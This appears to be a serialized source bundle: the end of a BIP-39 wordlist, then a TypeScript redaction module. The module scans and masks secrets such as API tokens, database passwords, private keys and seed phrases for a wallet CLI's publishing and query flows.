blossom blouse blue blur blush board boat body boil bomb bone bonus book boost border boring borrow boss bottom bounce box boy bracket brain brand brass brave bread breeze brick bridge brief bright bring brisk broccoli broken bronze broom brother brown brush bubble buddy budget buffalo build bulb bulk bullet bundle bunker burden burger burst bus business busy butter buyer buzz cabbage cabin cable cactus cage cake call calm camera camp can canal cancel candy cannon canoe canvas canyon capable capital captain car carbon card cargo carpet carry cart case cash casino castle casual cat catalog catch category cattle caught cause caution cave ceiling celery cement census century cereal certain chair chalk champion change chaos chapter charge chase chat cheap check cheese chef cherry chest chicken chief child chimney choice choose chronic chuckle chunk churn cigar cinnamon circle citizen city civil claim clap clarify claw clay clean clerk clever click client cliff climb clinic clip clock clog close cloth cloud clown club clump cluster clutch coach coast coconut code coffee coil coin collect color column combine come comfort comic common company concert conduct confirm congress connect consider control convince cook cool copper copy coral core corn correct cost cotton couch country couple course cousin cover coyote crack cradle craft cram crane crash crater crawl crazy cream credit creek crew cricket crime crisp critic crop cross crouch crowd crucial cruel cruise crumble crunch crush cry crystal cube culture cup cupboard curious current curtain curve cushion custom cute cycle dad damage damp dance danger daring dash daughter dawn day deal debate debris decade december decide decline decorate decrease deer defense define defy degree delay deliver demand demise denial dentist deny depart depend deposit depth deputy derive describe desert design desk despair destroy detail detect develop device devote diagram dial diamond diary dice diesel diet differ digital dignity dilemma dinner dinosaur direct dirt disagree discover disease dish dismiss disorder display distance divert divide divorce dizzy doctor document dog doll dolphin domain donate donkey donor door dose double dove draft dragon drama drastic draw dream dress drift drill drink drip drive drop drum dry duck dumb dune during dust dutch duty dwarf dynamic eager eagle early earn earth easily east easy echo ecology economy edge edit educate effort egg eight either elbow elder electric elegant element elephant elevator elite else embark embody embrace emerge emotion employ empower empty enable enact end endless endorse enemy energy enforce engage engine enhance enjoy enlist enough enrich enroll ensure enter entire entry envelope episode equal equip era erase erode erosion error erupt escape essay essence estate eternal ethics evidence evil evoke evolve exact example excess exchange excite exclude excuse execute exercise exhaust exhibit exile exist exit exotic expand expect expire explain expose express extend extra eye eyebrow fabric face faculty fade faint faith fall false fame family famous fan fancy fantasy farm fashion fat fatal father fatigue fault favorite feature february federal fee feed feel female fence festival fetch fever few fiber fiction field figure file film filter final find fine finger finish fire firm first fiscal fish fit fitness fix flag flame flash flat flavor flee flight flip float flock floor flower fluid flush fly foam focus fog foil fold follow food foot force forest forget fork fortune forum forward fossil foster found fox fragile frame frequent fresh friend fringe frog front frost frown frozen fruit fuel fun funny furnace fury future gadget gain galaxy gallery game gap garage garbage garden garlic garment gas gasp gate gather gauge gaze general genius genre gentle genuine gesture ghost giant gift giggle ginger giraffe girl give glad glance glare glass glide glimpse globe gloom glory glove glow glue goat goddess gold good goose gorilla gospel gossip govern gown grab grace grain grant grape grass gravity great green grid grief grit grocery group grow grunt guard guess guide guilt guitar gun gym habit hair half hammer hamster hand happy harbor hard harsh harvest hat have hawk hazard head health heart heavy hedgehog height hello helmet help hen hero hidden high hill hint hip hire history hobby hockey hold hole holiday hollow home honey hood hope horn horror horse hospital host hotel hour hover hub huge human humble humor hundred hungry hunt hurdle hurry hurt husband hybrid ice icon idea identify idle ignore ill illegal illness image imitate immense immune impact impose improve impulse inch include income increase index indicate indoor industry infant inflict inform inhale inherit initial inject injury inmate inner innocent input inquiry insane insect inside inspire install intact interest into invest invite involve iron island isolate issue item ivory jacket jaguar jar jazz jealous jeans jelly jewel job join joke journey joy judge juice jump jungle junior junk just kangaroo keen keep ketchup key kick kid kidney kind kingdom kiss kit kitchen kite kitten kiwi knee knife knock know lab label labor ladder lady lake lamp language laptop large later latin laugh laundry lava law lawn lawsuit layer lazy leader leaf learn leave lecture left leg legal legend leisure lemon lend length lens leopard lesson letter level liar liberty library license life lift light like limb limit link lion liquid list little live lizard load loan lobster local lock logic lonely long loop lottery loud lounge love loyal lucky luggage lumber lunar lunch luxury lyrics machine mad magic magnet maid mail main major make mammal man manage mandate mango mansion manual maple marble march margin marine market marriage mask mass master match material math matrix matter maximum maze meadow mean measure meat mechanic medal media melody melt member memory mention menu mercy merge merit merry mesh message metal method middle midnight milk million mimic mind minimum minor minute miracle mirror misery miss mistake mix mixed mixture mobile model modify mom moment monitor monkey monster month moon moral more morning mosquito mother motion motor mountain mouse move movie much muffin mule multiply muscle museum mushroom music must mutual myself mystery myth naive name napkin narrow nasty nation nature near neck need negative neglect neither nephew nerve nest net network neutral never news next nice night noble noise nominee noodle normal north nose notable note nothing notice novel now nuclear number nurse nut oak obey object oblige obscure observe obtain obvious occur ocean october odor off offer office often oil okay old olive olympic omit once one onion online only open opera opinion oppose option orange orbit orchard order ordinary organ orient original orphan ostrich other outdoor outer output outside oval oven over own owner oxygen oyster ozone pact paddle page pair palace palm panda panel panic panther paper parade parent park parrot party pass patch path patient patrol pattern pause pave payment peace peanut pear peasant pelican pen penalty pencil people pepper perfect permit person pet phone photo phrase physical piano picnic picture piece pig pigeon pill pilot pink pioneer pipe pistol pitch pizza place planet plastic plate play please pledge pluck plug plunge poem poet point polar pole police pond pony pool popular portion position possible post potato pottery poverty powder power practice praise predict prefer prepare present pretty prevent price pride primary print priority prison private prize problem process produce profit program project promote proof property prosper protect proud provide public pudding pull pulp pulse pumpkin punch pupil puppy purchase purity purpose purse push put puzzle pyramid quality quantum quarter question quick quit quiz quote rabbit raccoon race rack radar radio rail rain raise rally ramp ranch random range rapid rare rate rather raven raw razor ready real reason rebel rebuild recall receive recipe record recycle reduce reflect reform refuse region regret regular reject relax release relief rely remain remember remind remove render renew rent reopen repair repeat replace report require rescue resemble resist resource response result retire retreat return reunion reveal review reward rhythm rib ribbon rice rich ride ridge rifle right rigid ring riot ripple risk ritual rival river road roast robot robust rocket romance roof rookie room rose rotate rough round route royal rubber rude rug rule run runway rural sad saddle sadness safe sail salad salmon salon salt salute same sample sand satisfy satoshi sauce sausage save say scale scan scare scatter scene scheme school science scissors scorpion scout scrap screen script scrub sea search season seat second secret section security seed seek segment select sell seminar senior sense sentence series service session settle setup seven shadow shaft shallow share shed shell sheriff shield shift shine ship shiver shock shoe shoot shop short shoulder shove shrimp shrug shuffle shy sibling sick side siege sight sign silent silk silly silver similar simple since sing siren sister situate six size skate sketch ski skill skin skirt skull slab slam sleep slender slice slide slight slim slogan slot slow slush small smart smile smoke smooth snack snake snap sniff snow soap soccer social sock soda soft solar soldier solid solution solve someone song soon sorry sort soul sound soup source south space spare spatial spawn speak special speed spell spend sphere spice spider spike spin spirit split spoil sponsor spoon sport spot spray spread spring spy square squeeze squirrel stable stadium staff stage stairs stamp stand start state stay steak steel stem step stereo stick still sting stock stomach stone stool story stove strategy street strike strong struggle student stuff stumble style subject submit subway success such sudden suffer sugar suggest suit summer sun sunny sunset super supply supreme sure surface surge surprise surround survey suspect sustain swallow swamp swap swarm swear sweet swift swim swing switch sword symbol symptom syrup system table tackle tag tail talent talk tank tape target task taste tattoo taxi teach team tell ten tenant tennis tent term test text thank that theme then theory there they thing this thought three thrive throw thumb thunder ticket tide tiger tilt timber time tiny tip tired tissue title toast tobacco today toddler toe together toilet token tomato tomorrow tone tongue tonight tool tooth top topic topple torch tornado tortoise toss total tourist toward tower town toy track trade traffic tragic train transfer trap trash travel tray treat tree trend trial tribe trick trigger trim trip trophy trouble truck true truly trumpet trust truth try tube tuition tumble tuna tunnel turkey turn turtle twelve twenty twice twin twist two type typical ugly umbrella unable unaware uncle uncover under undo unfair unfold unhappy uniform unique unit universe unknown unlock until unusual unveil update upgrade uphold upon upper upset urban urge usage use used useful useless usual utility vacant vacuum vague valid valley valve van vanish vapor various vast vault vehicle velvet vendor venture venue verb verify version very vessel veteran viable vibrant vicious victory video view village vintage violin virtual virus visa visit visual vital vivid vocal voice void volcano volume vote voyage wage wagon wait walk wall walnut want warfare warm warrior wash wasp waste water wave way wealth weapon wear weasel weather web wedding weekend weird welcome west wet whale what wheat wheel when where whip whisper wide width wife wild will win window wine wing wink winner winter wire wisdom wise wish witness wolf woman wonder wood wool word work world worry worth wrap wreck wrestle wrist write wrong yard year yellow you young youth zebra zero zone zoo\"\n}\n","/**\n * The one redaction module: every surface that decides what text may leave\n * this machine reads the same rule table (`redact-rules.json`) through this\n * file. Two verbs over one table, and the audience is a parameter:\n *\n * `findings(text, scope)` is the deterministic, offline publish scan. Pure:\n * identical input yields an identical `Finding[]`, no network and no model\n * call. It REPORTS, it never rewrites: every finding is a detector id, a tier,\n * offsets and a masked excerpt that never carries the matched secret. Locally\n * a finding is a flag the consent flow shows the agent, which fixes the text or\n * overrides with `--yes`; the server's ingest gate is the one place that\n * refuses (vendor tokens, private keys, seed phrases, DB passwords, bearer\n * headers). `publish` is the marketplace and reports every row; `team` is the\n * team shelf and reports only the rows whose `scopes` include it. WHICH rows\n * is data on the rule, never a list in a caller.\n *\n * `mask(text)` is the query-side verb: for the rows scoped `query` it replaces\n * each match with that row's excerpt (`ghp_…[redacted 36 chars]`,\n * `postgres://app:[redacted]@host`, `PGPASSWORD=[redacted 7 chars]`) and\n * touches nothing else. Precision first, the way gitleaks and GitHub push\n * protection work: a vendor prefix fires on format alone, the generic\n * assignment rule needs a secret-named word plus `=` or `:`, and entropy is\n * never a trigger. Paths, hosts, IPs, commit SHAs, env names and prose are\n * never touched (owner policy, tenjin-agent#197 and the 2026-09-04 decision in\n * tenjin-notes/loop-redesign/06-pr-a-redact.md: search availability over\n * scrubbing; measured, the old scrub altered 16% of real prompts to stop two\n * vendor tokens).\n *\n * Two invariants, pinned by redact.fixtures.test.ts and redact.test.ts:\n *\n * REDACTION: a `block` excerpt is masked — a type-identifying prefix plus a\n * redaction count, never the matched secret. `pem-private-key` is the one\n * exception, its excerpt being the armor header. Secret-shaped warns\n * (secret-assignment, customer-identifier, high-entropy-string) are masked too.\n *\n * ReDoS: no pattern may contain a quantified group whose body can also match the\n * group's own separator while a further obligation follows it. Audited against a\n * single line of hundreds of kilobytes, the shape a JSONL transcript record takes.\n *\n * The rule corpus lives as DATA in `redact-rules.json` so the tenjin server-side\n * ingest gate can vendor it verbatim; this file compiles that data and\n * implements the handlers and algorithmic detectors it names. Per-rule\n * attribution is in the data file's `source` field and in NOTICE.md. No pattern\n * set is a runtime dependency: this is a wallet-holding CLI, kept offline with a\n * tight dep tree by design.\n */\n\nimport corpusJson from './redact-rules.json';\nimport wordlistJson from './bip39-wordlist.json';\n\n/** Where a rule applies: masked in hook queries, reported on the public\n * marketplace, reported on a team shelf. A row may carry any combination. */\nexport type Scope = 'query' | 'publish' | 'team';\n/** The audiences `findings()` reports for. */\nexport type ReportScope = Exclude<Scope, 'query'>;\n\nexport type FindingSeverity = 'block' | 'warn';\n\nexport interface Finding {\n /** Stable machine id for the detector, e.g. \"aws-access-key\". */\n check: string;\n severity: FindingSeverity;\n /** 1-based line number of the match (its start line, for multi-line matches). */\n line: number;\n /** [startColumn, endColumn) within `line`, 0-based (the start line for spans). */\n span: [number, number];\n /** Human-readable snippet; masked for every `block` finding. */\n excerpt: string;\n}\n\n/** Contiguous quoted/fenced runs at or above this word count read as copied. */\nconst LONG_QUOTE_WORDS = 80;\n\nexport function findings(text: string, scope: ReportScope): Finding[] {\n const lines = text.split('\\n');\n // EVERY detector runs whatever the scope, and the scope filters the RESULT.\n // The entropy catch-all suppresses itself against the spans the named\n // detectors claimed, and that set has to be the full one: a checksummed\n // wallet address is a publish-only warn, and on a team shelf it must stay\n // silent rather than resurface as high-entropy-string because the detector\n // that knows what it is was switched off.\n const found: Finding[] = [\n ...scanHex64(lines),\n ...scanLineDetectors(lines),\n ...scanPemBlocks(lines),\n ...scanSeedPhrases(lines),\n ...scanEnvDumpBlocks(lines),\n ...scanLongVerbatim(lines),\n ];\n const named = dedupeAndSort(suppressEmailsInDbUris(found));\n const all = dedupeAndSort([...named, ...scanHighEntropy(lines, named)]);\n if (scope === 'publish') return all;\n // Filtered by the EMITTING rule's scopes, never by a list of check names:\n // `checksFor` maps an emitted check (hex32-value) through the rule it comes\n // from, so dropping `team` from a rule's scopes drops everything it emits.\n const keep = CHECKS[scope];\n return all.filter((f) => keep.has(f.check));\n}\n\n/**\n * Replace every match of a `query`-scoped row with that row's masked excerpt.\n * Nothing else changes: no deletion, no squash, no bound. The `skip` handlers\n * apply exactly as they do for `findings()`, so a placeholder or a `$VAR`\n * value is left as written.\n */\nexport function mask(text: string): string {\n // C0 bytes are deleted first (whitespace kept): a control byte inside a name\n // is a splitter, `api_key<0x01>=hunter2` reads as two tokens to every row\n // below, and the hooks' clean() only removes it after the mask has decided.\n // eslint-disable-next-line no-control-regex\n let out = text.replace(/[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1f\\x7f]/g, '');\n // Table order is mask order: the assignment row is first so a value that is\n // itself a vendor token is taken whole, name kept, and no later row sees a\n // stub to re-match.\n for (const detector of MASK_DETECTORS) {\n out = out.replace(detector.re, (...args) => {\n const m = args as unknown as RegExpExecArray;\n return detector.skip?.(m) === true ? m[0] : detector.excerpt(m);\n });\n }\n return out;\n}\n\n/** The `query` rows as the hook template renders them: pattern, flags and the\n * excerpt's kept prefix. The template cannot import this file, so it gets the\n * data and a ten-line replace loop instead of a second regex list. */\nexport function maskRules(): Array<{ pattern: string; flags: string; keep: number }> {\n return CORPUS.rules\n .filter((r) => r.scopes.includes('query') && r.match.kind === 'regex')\n .map((r) => ({\n pattern: r.match.pattern ?? '',\n flags: r.match.flags ?? 'g',\n keep: r.excerpt.kind === 'mask' ? (r.excerpt.keep ?? 0) : 0,\n }));\n}\n\n// ---------------------------------------------------------------------------\n// Rule corpus: redact-rules.json compiled into executable detectors.\n// ---------------------------------------------------------------------------\n\ninterface RuleExcerpt {\n kind: string;\n keep?: number;\n max?: number;\n head?: number;\n tail?: number;\n handler?: string;\n}\n\ninterface Rule {\n id: string;\n tier: string;\n scopes: string[];\n description: string;\n source: string;\n match: { kind: string; pattern?: string; flags?: string; algorithm?: string };\n excerpt: RuleExcerpt;\n /** Drop the match without a finding (e.g. a placeholder value). */\n skip?: { handler: string };\n}\n\nconst SCOPES: ReadonlySet<string> = new Set(['query', 'publish', 'team']);\n\nconst CORPUS = corpusJson as unknown as {\n schemaVersion: number;\n rules: Rule[];\n publicHexConstants?: Array<{ value: string; name: string }>;\n};\n\n/** Algorithmic detectors this file implements; a corpus entry naming any other fails to compile. */\nconst ALGORITHMS = new Set(['hex64', 'pemBlock', 'bip39', 'envDump', 'entropy', 'longVerbatim']);\n\nconst EXCERPT_HANDLERS: Record<string, (m: RegExpExecArray) => string> = {\n googleKey: (m) => maskKeeping(m[0], m[0].startsWith('AIza') ? 4 : 7),\n dbConnectionUri: (m) => `${m[1]}://${m[2]}:[redacted]@${m[4]}`,\n bearerToken: (m) => `Authorization: Bearer [redacted ${m[1]?.length ?? 0} chars]`,\n labeledValue: (m) => `${m[1]}=[redacted ${dequote(m[2] ?? '').length} chars]`,\n localPath: localPathExcerpt,\n};\n\nconst SKIP_HANDLERS: Record<string, (m: RegExpExecArray) => boolean> = {\n exampleDbPassword: (m) => isPlaceholder(m[3] ?? '') || isExamplePassword(m[3] ?? ''),\n placeholderGroup1: (m) => isPlaceholder(m[1] ?? ''),\n nonLiteralValue: skipNonLiteralValue,\n placeholderUsername: (m) => PLACEHOLDER_USERNAME.test(m[1] ?? m[2] ?? ''),\n reservedExampleEmail: (m) => RESERVED_EXAMPLE_DOMAIN.test(m[0]),\n};\n\ninterface LineDetector {\n check: string;\n severity: FindingSeverity;\n scopes: ReadonlySet<string>;\n /** Global regex; `lastIndex` is reset per line. */\n re: RegExp;\n /** Build the (possibly masked) excerpt from a single match. */\n excerpt: (m: RegExpExecArray) => string;\n /** Drop this match without a finding (e.g. a placeholder value). */\n skip?: (m: RegExpExecArray) => boolean;\n}\n\n/**\n * Compile the data corpus. Throws rather than degrading: a corpus entry naming a\n * handler this build does not implement is a vendoring mistake, and a scan that\n * silently drops a block-tier detector is worse than one that refuses to start.\n */\nfunction validateScopes(rule: Rule): void {\n if (!Array.isArray(rule.scopes) || rule.scopes.length === 0) {\n throw new Error(`redact-rules.json: rule ${rule.id} has no scopes`);\n }\n for (const scope of rule.scopes) {\n if (!SCOPES.has(scope))\n throw new Error(`redact-rules.json: rule ${rule.id} names unknown scope ${scope}`);\n }\n if (rule.tier !== 'block' && rule.tier !== 'warn') {\n throw new Error(`redact-rules.json: rule ${rule.id} has unknown tier ${String(rule.tier)}`);\n }\n if (!rule.scopes.includes('publish')) {\n throw new Error(`redact-rules.json: rule ${rule.id} reports for team but not publish`);\n }\n // The block tier is reported on every shelf; the server refuses on it.\n if (rule.tier === 'block' && !rule.scopes.includes('team')) {\n throw new Error(`redact-rules.json: block rule ${rule.id} must be scoped to team as well`);\n }\n if (rule.scopes.includes('query') && rule.match.kind !== 'regex') {\n throw new Error(\n `redact-rules.json: rule ${rule.id} is masked in queries but is not a regex row`,\n );\n }\n}\n\nfunction compileSkip(rule: Rule): ((m: RegExpExecArray) => boolean) | undefined {\n const skip = rule.skip === undefined ? undefined : SKIP_HANDLERS[rule.skip.handler];\n if (rule.skip !== undefined && skip === undefined) {\n throw new Error(`redact-rules.json: rule ${rule.id} names unknown skip ${rule.skip.handler}`);\n }\n return skip;\n}\n\nfunction compileRegex(rule: Rule): RegExp {\n if (rule.match.kind !== 'regex' || rule.match.pattern === undefined) {\n throw new Error(`redact-rules.json: rule ${rule.id} has unknown match kind ${rule.match.kind}`);\n }\n return new RegExp(rule.match.pattern, rule.match.flags ?? 'g');\n}\n\nfunction compileLineDetectors(rules: Rule[]): LineDetector[] {\n const out: LineDetector[] = [];\n for (const rule of rules) {\n if (rule.match.kind === 'algorithm') continue;\n out.push({\n check: rule.id,\n severity: rule.tier as FindingSeverity,\n scopes: new Set(rule.scopes),\n re: compileRegex(rule),\n excerpt: compileExcerpt(rule),\n skip: compileSkip(rule),\n });\n }\n return out;\n}\n\n/**\n * Validate every row once, whatever scope asks first. Throws rather than\n * degrading: a corpus entry naming a handler this build does not implement is\n * a vendoring mistake, and a scan that silently drops a block-tier detector is\n * worse than one that refuses to start.\n */\nfunction validateCorpus(rules: Rule[]): void {\n for (const rule of rules) {\n validateScopes(rule);\n if (rule.match.kind === 'algorithm') {\n if (!ALGORITHMS.has(rule.match.algorithm ?? '')) {\n throw new Error(`redact-rules.json: rule ${rule.id} names unknown algorithm`);\n }\n continue;\n }\n compileRegex(rule);\n }\n // The converse: every algorithm this file implements has exactly one row,\n // because the row's scopes are what let its findings through. A deleted\n // bip39 row would otherwise turn the seed-phrase block into silence.\n for (const algorithm of ALGORITHMS) {\n const rows = rules.filter(\n (r) => r.match.kind === 'algorithm' && r.match.algorithm === algorithm,\n );\n if (rows.length !== 1) {\n throw new Error(\n `redact-rules.json: algorithm ${algorithm} has ${rows.length} rows, needs exactly one`,\n );\n }\n }\n}\n\nfunction compileExcerpt(rule: Rule): (m: RegExpExecArray) => string {\n const policy = rule.excerpt;\n switch (policy.kind) {\n case 'mask': {\n const keep = policy.keep ?? 0;\n return (m) => maskKeeping(m[0], keep);\n }\n case 'verbatim': {\n const max = policy.max;\n return (m) => (max === undefined ? m[0] : truncate(m[0], max));\n }\n case 'abbreviate': {\n const head = policy.head ?? 6;\n const tail = policy.tail ?? 4;\n return (m) => `${m[0].slice(0, head)}…${m[0].slice(-tail)}`;\n }\n case 'custom': {\n const handler = EXCERPT_HANDLERS[policy.handler ?? ''];\n if (handler === undefined) {\n throw new Error(`redact-rules.json: rule ${rule.id} names unknown excerpt handler`);\n }\n return handler;\n }\n default:\n throw new Error(`redact-rules.json: rule ${rule.id} has unknown excerpt kind ${policy.kind}`);\n }\n}\n\nvalidateCorpus(CORPUS.rules);\nconst LINE_DETECTORS: LineDetector[] = compileLineDetectors(CORPUS.rules);\nconst MASK_DETECTORS: LineDetector[] = LINE_DETECTORS.filter((d) => d.scopes.has('query'));\n\nfunction scanLineDetectors(lines: string[]): Finding[] {\n const out: Finding[] = [];\n for (let i = 0; i < lines.length; i++) {\n const line = lines[i] ?? '';\n for (const detector of LINE_DETECTORS) {\n detector.re.lastIndex = 0;\n let m: RegExpExecArray | null;\n while ((m = detector.re.exec(line)) !== null) {\n if (!isSuppressedAsDocs(detector, m) && detector.skip?.(m) !== true) {\n out.push({\n check: detector.check,\n severity: detector.severity,\n line: i + 1,\n span: [m.index, m.index + m[0].length],\n excerpt: detector.excerpt(m),\n });\n }\n // Every detector pattern matches at least one character, so a global\n // exec() always advances lastIndex — no zero-width-match loop guard needed.\n }\n }\n }\n return out;\n}\n\n// ---------------------------------------------------------------------------\n// Suppression: placeholders and reserved example values.\n// ---------------------------------------------------------------------------\n\n/**\n * A match that is documentation scaffolding, not a live value: a run of `x`\n * placeholders, an angle/brace template, or a `your…` label. It exists to cut\n * warn fatigue, because `<YOUR_KEY>`-shaped samples are what teach an operator\n * to stop reading findings.\n *\n * TIER ORDERING INVARIANT — this test is a SUBSTRING test over the whole match,\n * so it may only ever suppress a `warn`. A block finding is non-bypassable by\n * contract, and a substring rule hands the bypass to anyone whose secret merely\n * CONTAINS a placeholder shape: real passwords carry `<`, `>`, `{`, `}` and\n * letter runs, so `postgres://app:Str0ng<Pw>Value@prod-db/main` is a live\n * credential, not a docs sample. Block-tier suppression is per-detector only,\n * and is anchored to the captured secret VALUE (isPlaceholder via the\n * `exampleDbPassword` / `placeholderGroup1` handlers), never to a substring of\n * the match. Pinned by \"the block tier is non-bypassable\" in scan.test.ts.\n */\nconst DOCS_PLACEHOLDER =\n /x{6,}|<[^<>]*>|\\{\\{[^{}]*\\}\\}|\\byour[_-]?(?:key|token|secret|password)\\b/i;\n\nfunction isSuppressedAsDocs(detector: LineDetector, m: RegExpExecArray): boolean {\n return detector.severity === 'warn' && DOCS_PLACEHOLDER.test(m[0]);\n}\n\n// RFC 2606 reserved second-level domains. The reserved .example TLD is NOT\n// included: `alice@corp.example` is the shape a real internal address takes in a\n// sanitized draft, and the email detector is a warn the author should still see.\nconst RESERVED_EXAMPLE_DOMAIN = /@(?:[A-Za-z0-9-]+\\.)*example\\.(?:com|org|net)$/i;\n\n// A home-path username that is a docs placeholder, not a real machine username.\nconst PLACEHOLDER_USERNAME = /^(?:user(?:name)?|you(?:rname)?|example|foo|me|myuser|somebody)$/i;\n\n/**\n * A db-connection-uri already masks the embedded password; the email detector,\n * however, would match `password@host` and echo the password verbatim in its\n * excerpt. Drop any email finding whose span sits inside a db-connection-uri\n * span on the same line so the masking cannot be bypassed.\n */\nfunction suppressEmailsInDbUris(findings: Finding[]): Finding[] {\n const uris = findings.filter((f) => f.check === 'db-connection-uri');\n if (uris.length === 0) return findings;\n return findings.filter(\n (f) =>\n f.check !== 'email' ||\n !uris.some((u) => u.line === f.line && f.span[0] >= u.span[0] && f.span[1] <= u.span[1]),\n );\n}\n\n/**\n * Never echo more than a short, non-secret prefix. The kept prefix is a public\n * type marker (`0x`, `AKIA`, `ghp_`, …), never key material; the rest is dropped.\n */\nfunction maskKeeping(match: string, prefixLen: number): string {\n const prefix = match.slice(0, Math.min(prefixLen, match.length));\n return `${prefix}…[redacted ${match.length - prefix.length} chars]`;\n}\n\nfunction truncate(value: string, max: number): string {\n return value.length > max ? `${value.slice(0, max - 3)}…` : value;\n}\n\nfunction localPathExcerpt(m: RegExpExecArray): string {\n // Splice at the capture's own offsets (d-flag indices): a plain\n // String.replace masks the FIRST occurrence of the username, which for a\n // username that is a substring of the /Users|/home prefix mangles the prefix\n // and echoes the real username.\n const bounds = m.indices?.[1] ?? m.indices?.[2];\n const masked =\n bounds === undefined\n ? m[0]\n : `${m[0].slice(0, bounds[0] - m.index)}[user]${m[0].slice(bounds[1] - m.index)}`;\n return truncate(masked, 60);\n}\n\n// Accepted gaps (owner call, tracked): a mnemonic laid out in a numbered grid\n// (`1. abandon 2. ability` across many short lines) breaks the whitespace-only\n// word run bip39 needs and is NOT detected. An all-lowercase, digit-free literal\n// that is not a BIP-39 run (a diceware passphrase, e.g.\n// PASSWORD=correcthorsebatterystaple) still yields no finding — a dictionary-word\n// run is indistinguishable from prose. Headerless base64/DER private keys are\n// detected only for OpenSSH (its magic is base64-stable); other DER encodings are not.\n\n/**\n * Shared skip for labeled-value detectors (secret-assignment,\n * customer-identifier — one helper so the two cannot drift): drop a value that\n * is a placeholder, a structural path/URL/regex, or — when UNQUOTED only, a\n * quoted string is a literal — a code expression (config.clientSecret,\n * user.account_id, hashAndSalt(input), a bare lowercase identifier).\n */\nfunction skipNonLiteralValue(m: RegExpExecArray): boolean {\n const raw = m[2] ?? '';\n const value = dequote(raw);\n if (isPlaceholder(value) || isStructural(value)) return true;\n return raw === value && isCodeExpression(value);\n}\n\n/** Strip a single matching pair of surrounding quotes from a captured value. */\nfunction dequote(value: string): string {\n const m = /^\"([^\"]*)\"$|^'([^']*)'$/.exec(value);\n return m !== null ? (m[1] ?? m[2] ?? '') : value;\n}\n\n// Placeholder tokens must match the WHOLE value, never merely a prefix: an early\n// prefix-anchored version let real secrets through (mySecretP@ss123,\n// yourCompanyProdKey_abc123, exampleRealKey99) and, because isPlaceholder also\n// gates the block-tier bearer/db-uri detectors, that was a block bypass.\nconst PLACEHOLDER_WORD =\n /^(?:xxx+|example|example-value|placeholder|redacted|changeme|dummy|sample|todo|tbd|none|null|secret|test|\\*+|\\.{3,})$/i;\n// your-/my- style kebab or snake placeholders (your-api-key, my_secret,\n// your-key-here) — lowercase words only, so a camelCase/digit-bearing real value\n// (yourCompanyProdKey_abc123) is NOT treated as a placeholder.\nconst PLACEHOLDER_PREFIX = /^(?:your|my)[-_][a-z]+(?:[-_][a-z]+)*$/i;\n\n/** A secret-assignment value that is an obvious placeholder, not a live secret. */\nfunction isPlaceholder(value: string): boolean {\n if (/^[<${%]/.test(value)) return true; // <your-key>, ${VAR}, {{x}}, %ENV%\n return PLACEHOLDER_WORD.test(value) || PLACEHOLDER_PREFIX.test(value);\n}\n\n/**\n * A right-hand side that is code, not a literal secret: a member/property access\n * (user.password), a call (hashAndSalt(input)), or a bare lowercase/snake-case\n * identifier reference (password, db_password). Only applied to UNQUOTED values —\n * a quoted string is a literal. camelCase / digit-bearing tokens are NOT code\n * (they read as opaque secrets), so a real value still fires.\n */\nfunction isCodeExpression(value: string): boolean {\n // Trailing code punctuation the value capture drags in (process.env.KEY, ).\n const v = value.replace(/[,;]+$/, '');\n if (/^[A-Za-z_$][\\w$]*(?:\\.[A-Za-z_$][\\w$]*)+$/.test(v)) return true; // a.b.c\n if (/^[A-Za-z_$][\\w$.]*\\([^)]*\\)$/.test(v)) return true; // f(...)\n // A call truncated at a quoted arg by the value capture: os.environ.get(\n if (/\\($/.test(v)) return true;\n return /^[a-z_$][a-z_$]*$/.test(v); // bare lowercase identifier\n}\n\n/** A structural value (path, URL, or regex literal), not a literal secret. */\nfunction isStructural(value: string): boolean {\n return /^(?:\\.?\\.?\\/|~\\/|https?:\\/\\/|\\^)/.test(value);\n}\n\n// Well-known example/default DB passwords — a connection string using one is a\n// docs snippet, not a leaked credential.\nconst EXAMPLE_PASSWORDS = new Set([\n 'password',\n 'postgres',\n 'mysql',\n 'root',\n 'admin',\n 'changeme',\n 'example',\n 'secret',\n 'test',\n 'guest',\n 'toor',\n]);\n\n/** A db-connection-uri password that is an obvious example/default, not a secret. */\nfunction isExamplePassword(password: string): boolean {\n return EXAMPLE_PASSWORDS.has(password.toLowerCase());\n}\n\n// EVM raw private key (0x + 64 hex) vs. a 32-byte public value. On Base the two\n// are syntactically identical, and a block finding is permanently\n// non-bypassable, so a post quoting a hash, an identifier, or an event topic\n// must not be hard-blocked. A 64-hex demotes to the WARN 'hex32-value' when it\n// sits inside an http(s) URL token, when a hash/identifier label precedes it, or\n// when it is a known public constant. An unlabeled bare 64-hex stays a block\n// 'raw-private-key' (continuing the BlockRun-credited wallet-key scanner): that\n// is the floor, and demotion never silences, so a real key mislabeled `hash`\n// still surfaces for review.\n//\n// The label window is what a replay over 389 published posts (tenjin#723)\n// forced open: every block-tier hit in the live catalog was a public hex\n// constant, and each missed the old rule differently — `hash was 0x…` (a word\n// between label and value), `source_id = 0x…` (an id-class label), and the\n// ERC-20 Transfer topic0 (no label at all). Hence the wider label set, up to TWO\n// short intervening tokens, and the constants set. Two is the bound that keeps\n// the window honest: \"the hash of the private key is 0x…\" is four tokens out and\n// still blocks. The replay's last survivor was markdown: the catalog writes\n// ``hash was `0x…` ``, so the separator class carries backticks and quotes.\n//\n// Only the SEPARATOR classes are permissive. What counts as a LABEL is closed,\n// which is why `` PRIVATE_KEY=`0x…` `` still blocks: no punctuation tolerance\n// can invent a label that is not in the set.\nconst HEX64_RE = /(?<![0-9a-fx])0x[0-9a-fA-F]{64}(?![0-9a-fA-F])/gi;\nconst HASH_LABEL_RE =\n /(?:^|[^a-z0-9])(?:blockhash|txhash|txn|tx|hash|salt|id|topic\\d*|root|digest|commitment)(?:[\\s:=/,._'\"`‘’“”-]*[A-Za-z0-9_]{1,12}){0,2}[\\s:=/,._'\"`‘’“”-]*$/i;\n\n/** Public 64-hex values that are never key material; see redact-rules.json. */\nconst PUBLIC_HEX_CONSTANTS = new Set(\n (CORPUS.publicHexConstants ?? []).map((c) => c.value.toLowerCase()),\n);\n\nfunction scanHex64(lines: string[]): Finding[] {\n const out: Finding[] = [];\n for (let i = 0; i < lines.length; i++) {\n const line = lines[i] ?? '';\n HEX64_RE.lastIndex = 0;\n let m: RegExpExecArray | null;\n while ((m = HEX64_RE.exec(line)) !== null) {\n const hash = isHashContext(line, m.index, m[0]);\n out.push({\n check: hash ? 'hex32-value' : 'raw-private-key',\n severity: hash ? 'warn' : 'block',\n line: i + 1,\n span: [m.index, m.index + m[0].length],\n excerpt: hash ? `${m[0].slice(0, 6)}…${m[0].slice(-4)}` : maskKeeping(m[0], 2),\n });\n 